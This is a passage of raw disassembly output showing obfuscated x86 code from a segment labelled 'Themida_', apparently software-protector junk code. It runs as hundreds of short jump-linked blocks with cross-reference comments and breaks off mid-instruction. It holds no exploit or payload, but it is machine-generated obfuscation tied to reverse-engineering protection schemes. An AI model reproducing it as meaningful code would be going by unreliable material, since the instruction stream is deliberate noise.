loc_59ADCF ; --------------------------------------------------------------------------- loc_59FC69: ; CODE XREF: Themida_:0059E39Bj xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, esp push edx mov edx, 4 jmp loc_5A387E ; --------------------------------------------------------------------------- loc_59FC7D: ; CODE XREF: Themida_:005A1A67j add eax, edi push dword ptr [esp] pop edi push eax mov eax, esp jmp loc_5AA3D4 ; --------------------------------------------------------------------------- loc_59FC8B: ; CODE XREF: Themida_:005AA2A9j push 55Bh mov [esp], esi mov esi, 5BBD6774h shl esi, 6 push 5746h jmp loc_5A4A2F ; --------------------------------------------------------------------------- loc_59FCA5: ; CODE XREF: Themida_:0059A2DCj ; Themida_:005A46D7j sub ebx, edi pop edi mov edx, ebx jmp loc_5995B4 ; --------------------------------------------------------------------------- loc_59FCAF: ; CODE XREF: Themida_:005A222Bj jmp loc_5A5C35 ; --------------------------------------------------------------------------- loc_59FCB4: ; CODE XREF: Themida_:0059B990j mov edi, [esp] add esp, 4 add ebx, 4 jmp loc_5A6DE0 ; --------------------------------------------------------------------------- loc_59FCC8: ; CODE XREF: Themida_:005A7F1Dj push eax mov eax, 34D34310h not eax jmp loc_5A09AE ; --------------------------------------------------------------------------- loc_59FCD5: ; CODE XREF: Themida_:005A966Bj jmp loc_5A1AF2 ; --------------------------------------------------------------------------- loc_59FCDA: ; CODE XREF: Themida_:005A6793j xchg ecx, [esp] pop esp jmp loc_5ABF56 ; --------------------------------------------------------------------------- loc_59FCE3: ; CODE XREF: Themida_:005ABDD7j mov dl, cl jmp loc_5A14E5 ; --------------------------------------------------------------------------- loc_59FCEA: ; CODE XREF: Themida_:005A638Ej push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59B4DD ; --------------------------------------------------------------------------- loc_59FCFE: ; CODE XREF: Themida_:0059B650j push dx mov dh, 6Ah add bl, dh pop dx add bl, 49h sub bl, 32h add bl, al add bl, 32h jmp loc_5A5F6F ; --------------------------------------------------------------------------- loc_59FD16: ; CODE XREF: Themida_:005AFE17j sub bl, 0F0h movzx eax, al push dword ptr [edi+eax*4] push eax mov eax, 3E2A0166h jmp loc_5A9A5D ; --------------------------------------------------------------------------- loc_59FD2A: ; CODE XREF: Themida_:005A25BAj sub edx, 36775A5h jmp loc_59AD67 ; --------------------------------------------------------------------------- loc_59FD35: ; CODE XREF: Themida_:005AAB44j sub esp, 4 mov [esp], ecx mov ecx, 386C46DDh push esi mov esi, 31FD62D9h add esi, 7D222F3Dh sub esi, 30874970h xor ecx, esi jmp loc_59B6B7 ; --------------------------------------------------------------------------- loc_59FD5C: ; CODE XREF: Themida_:005AEE56j pop eax push ebp push esi jmp loc_5A56FF ; --------------------------------------------------------------------------- loc_59FD64: ; CODE XREF: Themida_:0059CA0Ej mov cl, bl jmp loc_5A0D45 ; --------------------------------------------------------------------------- loc_59FD6B: ; CODE XREF: Themida_:0059EE75j add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi jmp loc_5A2081 ; --------------------------------------------------------------------------- loc_59FD7D: ; CODE XREF: Themida_:005A2AC7j xor [esp], edx jmp loc_5A2E32 ; --------------------------------------------------------------------------- loc_59FD85: ; CODE XREF: Themida_:005AFCE5j xchg esi, [esp] pop esp mov [esp], eax push dword ptr [esp+4] jmp loc_59BCC4 ; --------------------------------------------------------------------------- loc_59FD95: ; CODE XREF: Themida_:005A001Dj mov edi, 5CF42394h add edi, 1 or edi, 5E34990h add edi, 9EE94C4h add edx, edi jmp loc_59AAB1 ; --------------------------------------------------------------------------- loc_59FDB0: ; CODE XREF: Themida_:005ACF2Fj mov [esp], ecx mov ecx, 20895F4Bh shl ecx, 4 jz loc_5A8A83 inc ecx jnp loc_5A43DB jmp loc_5A3DEE ; --------------------------------------------------------------------------- loc_59FDCD: ; CODE XREF: Themida_:0059E7D5j add esp, 4 push ebx jmp loc_5AA1AC ; --------------------------------------------------------------------------- loc_59FDD6: ; CODE XREF: Themida_:005AD9C8j ; Themida_:005AE7F2j push ebx jmp loc_5995C8 ; --------------------------------------------------------------------------- loc_59FDDC: ; CODE XREF: Themida_:0059B018j push edi mov edi, 3F373278h shl edi, 5 jmp loc_59E317 ; --------------------------------------------------------------------------- loc_59FDEA: ; CODE XREF: Themida_:005A244Aj add esp, 4 add edx, eax push esi jmp loc_5A401F ; --------------------------------------------------------------------------- loc_59FDF5: ; CODE XREF: Themida_:005AAF77j add al, 32h jmp loc_5A0214 ; --------------------------------------------------------------------------- loc_59FDFC: ; CODE XREF: Themida_:0059A06Bj xor edi, 434F199Ch dec edi sub esp, 4 jmp loc_5AFBDC ; --------------------------------------------------------------------------- loc_59FE0E: ; CODE XREF: Themida_:0059EACDj jz loc_5A98C0 jmp loc_59963A ; --------------------------------------------------------------------------- loc_59FE19: ; CODE XREF: Themida_:005AE6FBj pop dword ptr [esp] mov esp, [esp] push esi mov esi, 27318A1h add [esp+4], esi pop esi sub dword ptr [esp], 663054ECh add [esp], eax push edx mov edx, 663054ECh sub dword ptr [esp+4], 41B03D86h sub dword ptr [esp+4], 508C788Fh jmp loc_5AAC4A ; --------------------------------------------------------------------------- loc_59FE4F: ; CODE XREF: Themida_:005A5F41j and edi, 63E9773Ah jmp loc_59B7E9 ; --------------------------------------------------------------------------- loc_59FE5A: ; CODE XREF: Themida_:005ABE49j push esi push edx mov edx, 3E3F3D69h push 0DE4390Ah jmp loc_59D621 ; --------------------------------------------------------------------------- loc_59FE6B: ; CODE XREF: Themida_:0059C5EFj sub ecx, 338BBB6Fh add esi, ecx pop ecx add ebx, 0BD3499h sub ebx, esi push esi mov esi, 0BD3499h sub ebx, esi jmp loc_5AECFB ; --------------------------------------------------------------------------- loc_59FE89: ; CODE XREF: Themida_:005AF605j push edi jmp loc_5A7EDE ; --------------------------------------------------------------------------- loc_59FE8F: ; CODE XREF: Themida_:005A1E7Bj add bl, al add bl, 9Ah push edx jmp loc_59DCE5 ; --------------------------------------------------------------------------- loc_59FE9A: ; CODE XREF: Themida_:005AE72Fj sub edi, 81816B1h jz loc_59ED73 jmp loc_5A5A4A ; --------------------------------------------------------------------------- loc_59FEAB: ; CODE XREF: Themida_:005A7E42j sub esi, 44645DE3h add ebp, esi pop esi push ebp jmp loc_59AEDA ; --------------------------------------------------------------------------- loc_59FEBA: ; CODE XREF: Themida_:005A92E7j and eax, ebp push dword ptr [esp] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_59E54E ; --------------------------------------------------------------------------- loc_59FED4: ; CODE XREF: Themida_:005AEA89j add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] jmp loc_5A4E43 ; --------------------------------------------------------------------------- loc_59FEE3: ; CODE XREF: Themida_:005A1A57j mov ebx, 79291305h add ebx, 60DE070Eh jo loc_5AC1D4 shr ebx, 5 jns loc_5A520B mov cl, ah pop ecx loc_59FF00: ; CODE XREF: Themida_:005A73ACj pop edx jmp loc_5A46A1 ; --------------------------------------------------------------------------- loc_59FF06: ; CODE XREF: Themida_:0059BBD8j pop ecx add edi, 4 push edi push dword ptr [esp+4] push dword ptr [esp] jmp loc_5A6027 ; --------------------------------------------------------------------------- loc_59FF17: ; CODE XREF: Themida_:0059CD53j ; Themida_:005A350Dj and edx, 119E71E5h jmp loc_5A0FDB ; --------------------------------------------------------------------------- loc_59FF22: ; CODE XREF: Themida_:005AC34Ej add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5A3830 ; --------------------------------------------------------------------------- loc_59FF36: ; CODE XREF: Themida_:005A1454j pop edi pop ebx sub eax, 2336E5Ah add eax, edi add eax, 2336E5Ah push dword ptr [esp] jmp loc_59E7E2 ; --------------------------------------------------------------------------- loc_59FF4C: ; CODE XREF: Themida_:0059FFE1j push eax push 314321A3h jmp loc_599119 ; --------------------------------------------------------------------------- loc_59FF57: ; CODE XREF: Themida_:005AC719j push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5AF898 ; --------------------------------------------------------------------------- loc_59FF72: ; CODE XREF: Themida_:005ADAE0j pop edx sub esp, 4 mov [esp], edx mov dh, 0CEh neg dh add dh, 33h jmp loc_599DEF ; --------------------------------------------------------------------------- loc_59FF88: ; CODE XREF: Themida_:005A32D4j pop ebx mov eax, [esp] add esp, 4 and eax, ebx jmp loc_5ACEAB ; --------------------------------------------------------------------------- loc_59FF99: ; CODE XREF: Themida_:005A0DD4j mov [esp], edx jmp loc_5A5CC2 ; --------------------------------------------------------------------------- loc_59FFA1: ; CODE XREF: Themida_:005AB189j xor ebp, 6025767Eh jmp loc_59F113 ; --------------------------------------------------------------------------- loc_59FFAC: ; CODE XREF: Themida_:0059CC51j push esi jmp loc_5A0225 ; --------------------------------------------------------------------------- loc_59FFB2: ; CODE XREF: Themida_:005AEC0Fj xchg ebp, [esp] mov esp, [esp] mov [esp], ecx push 24h pop ecx jmp loc_59DB2F ; --------------------------------------------------------------------------- loc_59FFC6: ; CODE XREF: Themida_:0059CD26j or edx, 56720182h push ecx mov ecx, 43500AD5h and edx, ecx pop ecx add edx, 0FFFFFFFFh jmp loc_5A7E7F ; --------------------------------------------------------------------------- loc_59FFDD: ; CODE XREF: Themida_:0059CB47j pop esp mov [esp], ecx jmp loc_59FF4C ; --------------------------------------------------------------------------- loc_59FFE6: ; CODE XREF: Themida_:0059AA96j xchg eax, ecx xchg eax, edi jmp loc_5A1F12 ; --------------------------------------------------------------------------- loc_59FFED: ; CODE XREF: Themida_:loc_59E0DEj xor edx, 7F2C0A9Ch jnb loc_599D64 sub edx, 0B9B10C40h not edx jmp loc_5A2951 ; --------------------------------------------------------------------------- mov cl, 2Eh loc_5A0008: ; CODE XREF: Themida_:0059C2C6j ; Themida_:005A3A03j add eax, edi jmp loc_5AD5C5 ; --------------------------------------------------------------------------- loc_5A000F: ; CODE XREF: Themida_:005AB116j sub edx, 4F197A6Ah push 4929h mov [esp], edi jmp loc_59FD95 ; --------------------------------------------------------------------------- loc_5A0022: ; CODE XREF: Themida_:005AEFA2j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_59DA5E ; --------------------------------------------------------------------------- loc_5A0033: ; CODE XREF: Themida_:0059ADCAj ; Themida_:005A935Ej add edi, 0C88CF584h xor esi, edi push dword ptr [esp] jmp loc_59F130 ; --------------------------------------------------------------------------- loc_5A0043: ; CODE XREF: Themida_:005A29BAj add eax, 4745419Eh push edx mov edx, 413C275Eh push ebp jmp loc_5ADD0C ; --------------------------------------------------------------------------- loc_5A0054: ; DATA XREF: Themida_:005986C8o lodsb sub al, 7 add al, 36h sub al, bl sub al, 36h push 1280h mov [esp], ecx mov ch, 35h neg ch sub esp, 4 jmp loc_5AFD3D ; --------------------------------------------------------------------------- loc_5A0071: ; CODE XREF: Themida_:005AA9C2j xor ecx, 200027B2h mov eax, [esp] add esp, 4 push ecx mov ecx, 69DE1033h add eax, 0DC22F1h add eax, ecx push ecx jmp loc_5A4DF2 ; --------------------------------------------------------------------------- loc_5A0090: ; CODE XREF: Themida_:005A7B89j mov esp, [esp] bt [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A009E: ; CODE XREF: Themida_:0059BF81j push esp pop edi add edi, 4 jmp loc_5A2362 ; --------------------------------------------------------------------------- loc_5A00AB: ; CODE XREF: Themida_:005AEFB3j mov eax, 2D0675CDh shl eax, 8 sub eax, 733E7ECBh neg eax jmp loc_59AC6E ; --------------------------------------------------------------------------- loc_5A00BF: ; CODE XREF: Themida_:005A1DADj mov edi, 62853474h shl edi, 3 jz loc_5A9BE0 add edi, 46EF22A9h and edi, 4C874AFAh jnz loc_5A088D or edi, 183F156Dh jmp loc_59B929 ; --------------------------------------------------------------------------- mov cl, 0D8h loc_5A00ED: ; CODE XREF: Themida_:00599882j jns loc_5A1EB6 shl edx, 8 jz loc_5A74E3 add edx, 43BAEE5Ah sub esp, 4 mov [esp], esi mov esi, edx mov ecx, esi pop esi jmp loc_5ACDE5 ; --------------------------------------------------------------------------- loc_5A0115: ; CODE XREF: Themida_:005A9B92j pop edx push edx sub esp, 4 mov [esp], ebp push ecx mov ecx, 0F9A753Fh push 0 sub [esp], ecx pop ecx jmp loc_5A9D92 ; --------------------------------------------------------------------------- loc_5A0131: ; CODE XREF: Themida_:0059ACC6j inc ecx neg ecx push edx jmp loc_5A6CA0 ; --------------------------------------------------------------------------- loc_5A013A: ; CODE XREF: Themida_:005A953Bj pop edi mov eax, esi jmp loc_59ABC4 ; --------------------------------------------------------------------------- loc_5A0142: ; CODE XREF: Themida_:005A6648j shr edi, 2 sub edi, offset dword_4D1010 sub edx, 7ECB0B4Fh add edx, edi jmp loc_59CF56 ; --------------------------------------------------------------------------- loc_5A0158: ; CODE XREF: Themida_:005A5408j mov eax, 7E2C368Dh jmp loc_5A7034 ; --------------------------------------------------------------------------- loc_5A0162: ; CODE XREF: Themida_:0059B823j ; Themida_:0059F945j mov ebp, 40D9A313h sub ebp, edx jmp loc_5A49A2 ; --------------------------------------------------------------------------- loc_5A016E: ; CODE XREF: Themida_:005A4201j pop edx sub eax, 77534501h push edi push edx mov edx, 5A2A08D0h jmp loc_5AFAED ; --------------------------------------------------------------------------- loc_5A0180: ; CODE XREF: Themida_:005A42D7j jmp loc_5A8CEF ; --------------------------------------------------------------------------- loc_5A0185: ; CODE XREF: Themida_:00598BD4j push esp pop ebp jmp loc_5A4422 ; --------------------------------------------------------------------------- loc_5A018C: ; CODE XREF: Themida_:0059A23Bj pop esp mov [esp], edi mov edi, 4 sub esi, 5EC61C0Bh add esi, edi push ecx mov ecx, 5EC61C0Bh add esi, ecx pop ecx jmp loc_59FC0A ; --------------------------------------------------------------------------- loc_5A01AB: ; CODE XREF: Themida_:005AE84Cj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A01B0: ; CODE XREF: Themida_:005A5ABAj or eax, 1B43398Eh jnz loc_5AF77F add eax, 5F1C159Eh mov ebx, eax mov eax, [esp] add esp, 4 loc_5A01C8: ; CODE XREF: Themida_:005A4BACj mov esi, ebx pop ebx sub esi, 416203D1h jmp loc_5A99F7 ; --------------------------------------------------------------------------- loc_5A01D6: ; CODE XREF: Themida_:loc_59BAE8j push edi push edx push 466B3AF4h pop edx jmp loc_5A3CF6 ; --------------------------------------------------------------------------- loc_5A01E3: ; CODE XREF: Themida_:005A4A39j pop ecx jmp loc_5AA726 ; --------------------------------------------------------------------------- loc_5A01E9: ; CODE XREF: Themida_:005A8F5Ej jmp loc_5AF88C ; --------------------------------------------------------------------------- loc_5A01EE: ; CODE XREF: Themida_:005A54A6j ; Themida_:005A80DAj add esp, 4 not dl jmp loc_5A190A ; --------------------------------------------------------------------------- loc_5A01FB: ; CODE XREF: Themida_:0059E6A4j pop ecx inc esi jmp loc_59E3E9 ; --------------------------------------------------------------------------- loc_5A0202: ; CODE XREF: Themida_:loc_5A7BE8j shr edx, 1 jnz loc_5A8442 xor edx, 77D28D37h push esi mov esi, edx pop ebx loc_5A0214: ; CODE XREF: Themida_:0059FDF7j ; Themida_:005AD32Fj push ecx jmp loc_59F3C9 ; --------------------------------------------------------------------------- loc_5A021A: ; CODE XREF: Themida_:005AB019j ; Themida_:005AB761j sub esp, 4 jmp loc_5A08EC ; --------------------------------------------------------------------------- loc_5A0225: ; CODE XREF: Themida_:0059FFADj mov esi, 20322B47h xor esi, 6D77334Fh sub esi, 0FFFFFFFFh push eax mov eax, 66BB6F73h jmp loc_5AE5E5 ; --------------------------------------------------------------------------- loc_5A023E: ; CODE XREF: Themida_:005A362Cj add esp, 4 add al, 6Ch shr al, 3 push edx push 49C3h mov [esp], ecx mov ch, 0BDh jmp loc_5A52A6 ; --------------------------------------------------------------------------- loc_5A0256: ; CODE XREF: Themida_:0059939Cj mov ecx, [esp] add esp, 4 push esi mov esi, 66E9781Ah not esi shl esi, 6 sub esp, 4 jmp loc_5A7764 ; --------------------------------------------------------------------------- loc_5A0272: ; CODE XREF: Themida_:0059A35Dj ; Themida_:005A8CA4j mov ecx, [esp] add esp, 4 xor bl, al movzx eax, al jmp loc_59E937 ; --------------------------------------------------------------------------- loc_5A0282: ; CODE XREF: Themida_:005A34E4j sub cl, ah pop eax jmp loc_5A3A40 ; --------------------------------------------------------------------------- loc_5A028A: ; CODE XREF: Themida_:005AB303j mov ecx, 56D75E8Ah add ecx, 6BFA56A5h jl loc_59D022 sub ecx, 2D0362C7h xor ecx, 0FF521F9Eh mov edx, ecx pop ecx jmp loc_5A51EE ; --------------------------------------------------------------------------- loc_5A02AF: ; CODE XREF: Themida_:0059A4EEj ; Themida_:005A8350j xor esi, [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A02BA: ; CODE XREF: Themida_:005A5778j sub ecx, 2F853A2Eh sub ecx, 3FD04367h neg ecx sub ecx, 58426749h mov ebx, ecx pop ecx sub ebx, 0FFFFFFFFh push ebp mov ebp, 48051560h jmp loc_5A09E6 ; --------------------------------------------------------------------------- loc_5A02E2: ; CODE XREF: Themida_:0059D1D8j push eax push dword ptr [esp+4] pop eax jmp loc_599C92 ; --------------------------------------------------------------------------- loc_5A02ED: ; CODE XREF: Themida_:005A75B3j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add edi, esi pop esi xor eax, edi jmp loc_5A2AF2 ; --------------------------------------------------------------------------- loc_5A0303: ; CODE XREF: Themida_:005A5B4Dj pop ebx push 2016h mov [esp], ecx push ebx jmp loc_59BEFA ; --------------------------------------------------------------------------- loc_5A0312: ; CODE XREF: Themida_:005A964Cj sub esp, 4 mov [esp], edi push 1764h mov [esp], eax mov eax, 7D1C29AFh inc eax shr eax, 4 and eax, 2AC05EFh xor eax, 12C672BCh mov edi, eax pop eax sub edx, edi pop edi xor edx, 0F18395A1h jmp loc_5A6F87 ; --------------------------------------------------------------------------- loc_5A0344: ; CODE XREF: Themida_:00599BECj push ebp mov ebp, esp add ebp, 4 jmp loc_59B7B3 ; --------------------------------------------------------------------------- loc_5A0352: ; CODE XREF: Themida_:005AD692j mov esi, 2 add ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov fs:[edx], al jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A036E: ; CODE XREF: Themida_:005A96C1j mov eax, ebp mov ebp, [esp] add esp, 4 neg eax jg loc_59E215 xor eax, 77D5A16h push eax jmp loc_5A238C ; --------------------------------------------------------------------------- loc_5A0389: ; CODE XREF: Themida_:005AE281j push ebp mov ebp, 2 jmp loc_5A570D ; --------------------------------------------------------------------------- loc_5A0394: ; CODE XREF: Themida_:005A36EDj push dword ptr [esp] jmp loc_599F3D ; --------------------------------------------------------------------------- loc_5A039C: ; CODE XREF: Themida_:005A68B0j mov ebp, 36F72F3Dh add ebp, 7B8A6902h neg ebp xor ebp, 69405A39h mov edi, ebp mov ebp, [esp] add esp, 4 mov ecx, 243E3DFCh xor ecx, edi mov edi, [esp] jmp loc_5AC7D8 ; --------------------------------------------------------------------------- loc_5A03C9: ; CODE XREF: Themida_:005A55E6j sub [esp], eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A03D2: ; CODE XREF: Themida_:005AB0C7j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp sub esp, 4 mov [esp], esp jmp loc_5AAABC ; --------------------------------------------------------------------------- loc_5A03E9: ; CODE XREF: Themida_:005A18CAj add esi, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp push 2A7Ch mov [esp], esi push dword ptr [esp+4] jmp loc_5A417E ; --------------------------------------------------------------------------- loc_5A0409: ; CODE XREF: Themida_:005A8B6Bj jz loc_5AC529 push edx jmp loc_59DCFF ; --------------------------------------------------------------------------- loc_5A0415: ; CODE XREF: Themida_:005A285Ej ; Themida_:005A7DABj add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5AF972 ; --------------------------------------------------------------------------- loc_5A0426: ; CODE XREF: Themida_:005994E2j push esi push eax mov eax, 243E6CE9h jmp loc_59B8FD ; --------------------------------------------------------------------------- loc_5A0432: ; CODE XREF: Themida_:005A1963j mov dl, ch jmp loc_5A2A2C ; --------------------------------------------------------------------------- loc_5A0439: ; CODE XREF: Themida_:005A6EF6j mov [esp], eax push 5997h mov [esp], edi jmp loc_5ADBBD ; --------------------------------------------------------------------------- loc_5A0449: ; CODE XREF: Themida_:0059D488j sub esp, 4 mov [esp], eax push 0F66F35h jmp loc_5AE7E9 ; --------------------------------------------------------------------------- loc_5A0459: ; CODE XREF: Themida_:005A0FCDj mov ebx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_59C00F ; --------------------------------------------------------------------------- loc_5A0473: ; CODE XREF: Themida_:005AD2F5j push 104Ch jmp loc_59ACE0 ; --------------------------------------------------------------------------- loc_5A047D: ; CODE XREF: Themida_:005AD79Bj add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx jmp loc_5A6912 ; --------------------------------------------------------------------------- loc_5A049A: ; CODE XREF: Themida_:005A626Fj pop ebx xchg edi, [esp] jmp loc_5AAF2F ; --------------------------------------------------------------------------- loc_5A04A3: ; CODE XREF: Themida_:0059B56Aj mov [esp], ecx mov ecx, esp push edi mov edi, 71362254h push 0AEEh mov [esp], eax mov eax, 71362250h add edi, 713874E2h sub edi, eax jmp loc_59BCE3 ; --------------------------------------------------------------------------- loc_5A04C8: ; CODE XREF: Themida_:0059CBC0j mov ebp, 19231D31h inc ebp jmp loc_5A244F ; --------------------------------------------------------------------------- loc_5A04D3: ; CODE XREF: Themida_:005997CAj pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] xchg eax, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A04EC: ; CODE XREF: Themida_:0059CF71j not edi neg edi add edi, 401810B1h push edx mov edx, edi jmp loc_59CD58 ; --------------------------------------------------------------------------- loc_5A04FE: ; CODE XREF: Themida_:005AF09Cj add esi, 0AC81384h add edx, esi mov esi, [esp] add esp, 4 jmp loc_5AE3F1 ; --------------------------------------------------------------------------- loc_5A0511: ; CODE XREF: Themida_:005A7BC2j push esi mov esi, 24D65A61h push 24D65A65h pop ebp xor ebp, esi mov esi, [esp] add esp, 4 jmp loc_5A9379 ; --------------------------------------------------------------------------- loc_5A052A: ; CODE XREF: Themida_:005AC6ECj dec ebx xor ebx, 13FD51D0h sub ebp, 5427228Fh add ebp, ebx add ebp, 5427228Fh pop ebx jmp loc_5AB8E4 ; --------------------------------------------------------------------------- loc_5A0545: ; CODE XREF: Themida_:005AF5D2j sub edi, 0C4CB504Fh or ebx, edi pop edi shl ebx, 8 xor ebx, 61CD6CC5h xor ebx, 2DE4437Ah add ebx, 3B9A37EFh add ecx, ebx pop ebx jmp loc_5A79C7 ; --------------------------------------------------------------------------- loc_5A056B: ; CODE XREF: Themida_:005A2D1Bj mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp sub ebx, 2EE0603h sub ebx, eax jmp loc_5AF360 ; --------------------------------------------------------------------------- loc_5A0585: ; CODE XREF: Themida_:005A986Aj xor edi, [esp] mov esp, [esp] add esp, 4 imul ecx push 8Dh mov [esp], esi push 30AAh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push ebp mov ebp, esp jmp loc_5AD1E6 ; --------------------------------------------------------------------------- loc_5A05C1: ; CODE XREF: Themida_:005A990Ej push eax mov eax, 2B2A418Fh or eax, 29DD74C2h xchg eax, ecx jmp loc_5AF1C6 ; --------------------------------------------------------------------------- loc_5A05D2: ; CODE XREF: Themida_:005AD443j push 324Dh mov [esp], ecx jmp loc_59F63A ; --------------------------------------------------------------------------- loc_5A05DF: ; CODE XREF: Themida_:005A23A0j ; Themida_:005AD0BCj pop ebx jmp loc_59B3A0 ; --------------------------------------------------------------------------- loc_5A05E5: ; CODE XREF: Themida_:005A5CBDj mov esp, [esp] mov [esp], ecx push ebx mov bl, 30h mov ch, bl pop ebx shl ch, 2 shr ch, 5 push ebx jmp loc_5AC905 ; --------------------------------------------------------------------------- loc_5A05FD: ; CODE XREF: Themida_:005AEFD9j mov [esp], eax mov eax, 6CF4209Eh xchg eax, ecx jmp loc_5AB1B3 ; --------------------------------------------------------------------------- loc_5A060B: ; CODE XREF: Themida_:005AB208j push dword ptr [esp] pop edx add esp, 4 pop eax inc eax xor edx, eax xor eax, edx xor edx, eax add edx, 0C9C803CCh jmp loc_5A3654 ; --------------------------------------------------------------------------- loc_5A0625: ; CODE XREF: Themida_:005A485Ej add ebp, 6B612842h sub ebp, 13182F84h pop ecx add ebp, 4 jmp loc_59EF75 ; --------------------------------------------------------------------------- loc_5A063D: ; CODE XREF: Themida_:0059F1A0j sub bh, dh pop edx pop cx or bh, 0ABh xor bh, 0D8h xor bh, 0FDh jmp loc_59F9C3 ; --------------------------------------------------------------------------- loc_5A0650: ; CODE XREF: Themida_:loc_59EFDBj jmp loc_5A4450 ; --------------------------------------------------------------------------- loc_5A0655: ; CODE XREF: Themida_:005AF499j jmp loc_5A3BFE ; --------------------------------------------------------------------------- loc_5A065A: ; CODE XREF: Themida_:005A2530j neg ebp jmp loc_5A51EE ; --------------------------------------------------------------------------- loc_5A0661: ; CODE XREF: Themida_:005A991Cj push edi mov edi, 0FFFFFFFFh add edx, edi pop edi not edx jmp loc_5A76FF ; --------------------------------------------------------------------------- loc_5A0671: ; CODE XREF: Themida_:005A6368j sub eax, ecx push edx mov edx, 48943BD8h shr edx, 2 dec edx xor edx, 6456E74h sub eax, edx jmp loc_5A7488 ; --------------------------------------------------------------------------- loc_5A068A: ; CODE XREF: Themida_:0059FA32j and eax, 67D23A86h jnp loc_5A9440 sub eax, 0F33DE8D5h mov esi, eax pop eax mov eax, esi pop esi jmp loc_59CAE9 ; --------------------------------------------------------------------------- loc_5A06A5: ; CODE XREF: Themida_:005A0B6Ej add eax, ebx push dword ptr [esp] pop ebx jmp loc_5AE6C2 ; --------------------------------------------------------------------------- loc_5A06B0: ; CODE XREF: Themida_:005AD98Ej add edx, 0C92032E3h jmp loc_5A599F ; --------------------------------------------------------------------------- loc_5A06BB: ; CODE XREF: Themida_:005AEC60j add eax, 16200E4Eh sub eax, 2CC42468h sub eax, 2E434759h add eax, 45A74AF1h push edi jmp loc_5A0F50 ; --------------------------------------------------------------------------- loc_5A06D5: ; CODE XREF: Themida_:005AA0D3j add esp, 4 add esp, 4 add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] pop esp xor ebx, eax mov dx, [esp] push edx push esp mov edx, [esp] add esp, 4 push 3668h mov [esp], edi push edx mov edx, esp push esi mov esi, 4 jmp loc_5A7D4B ; --------------------------------------------------------------------------- loc_5A0718: ; CODE XREF: Themida_:0059A9E7j add esi, 603B7E05h push dword ptr [esp] jmp loc_5A2DDB ; --------------------------------------------------------------------------- loc_5A0726: ; CODE XREF: Themida_:0059C98Cj push 0E95h mov [esp], eax jmp loc_5ABCE8 ; --------------------------------------------------------------------------- loc_5A0733: ; CODE XREF: Themida_:005A917Aj mov edi, [esp] push edi jmp loc_5A4E9E ; --------------------------------------------------------------------------- loc_5A073C: ; CODE XREF: Themida_:0059DC1Dj add ebp, 689B0DC2h jmp loc_5AFA35 ; --------------------------------------------------------------------------- loc_5A0747: ; CODE XREF: Themida_:005A900Cj xchg ebx, [esp] pop esp push eax push dword ptr [esp+4] pop eax jmp loc_5A7DB6 ; --------------------------------------------------------------------------- loc_5A0756: ; CODE XREF: Themida_:0059DDD9j jmp loc_5A5415 ; --------------------------------------------------------------------------- loc_5A075B: ; CODE XREF: Themida_:005ADD3Bj xchg edi, [esp] jmp loc_59B1E3 ; --------------------------------------------------------------------------- loc_5A0763: ; CODE XREF: Themida_:005AA789j push 64F805A4h jmp loc_59A48B ; --------------------------------------------------------------------------- loc_5A076D: ; CODE XREF: Themida_:005AD3B0j inc ebx jmp loc_5AD241 ; --------------------------------------------------------------------------- loc_5A0773: ; CODE XREF: Themida_:0059D796j push 372Ch mov [esp], ecx push 5574h jmp loc_5ABA38 ; --------------------------------------------------------------------------- loc_5A0785: ; CODE XREF: Themida_:005AEE95j add ebx, 3A5F3C71h shl ebx, 2 push esi push 592Fh jmp loc_5A7568 ; --------------------------------------------------------------------------- loc_5A0799: ; CODE XREF: Themida_:00598DB0j jnz loc_5A5EF1 jmp loc_5AEE0D ; --------------------------------------------------------------------------- pop eax add edi, edx pop edx push edx loc_5A07A9: ; CODE XREF: Themida_:005A4D04j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi jmp loc_5994ED ; --------------------------------------------------------------------------- loc_5A07BB: ; CODE XREF: Themida_:0059AFDAj sub ecx, edi pop edi push ecx push dword ptr [esp+4] jmp loc_59A22F ; --------------------------------------------------------------------------- loc_5A07C8: ; CODE XREF: Themida_:005A7FDBj sub esp, 4 mov [esp], edi mov edi, 4C555CA5h shr edi, 6 push edx jmp loc_5ADBE2 ; --------------------------------------------------------------------------- loc_5A07DF: ; CODE XREF: Themida_:005A465Bj push eax mov eax, 0F88705Bh sub ebp, eax pop eax push ecx jmp loc_5AAC99 ; --------------------------------------------------------------------------- loc_5A07EE: ; CODE XREF: Themida_:005AA7DAj ; Themida_:005AC61Dj mov ecx, [esp] add esp, 4 pop ebx pop ecx push 1BB7h jmp loc_5AC231 ; --------------------------------------------------------------------------- loc_5A0800: ; CODE XREF: Themida_:0059B4B3j ; Themida_:005A4166j push edi push esp jmp loc_5AA423 ; --------------------------------------------------------------------------- loc_5A0807: ; CODE XREF: Themida_:005A91E3j pop dword ptr [esp] pop esp mov ebx, [esp] add esp, 4 pop edx push eax mov eax, 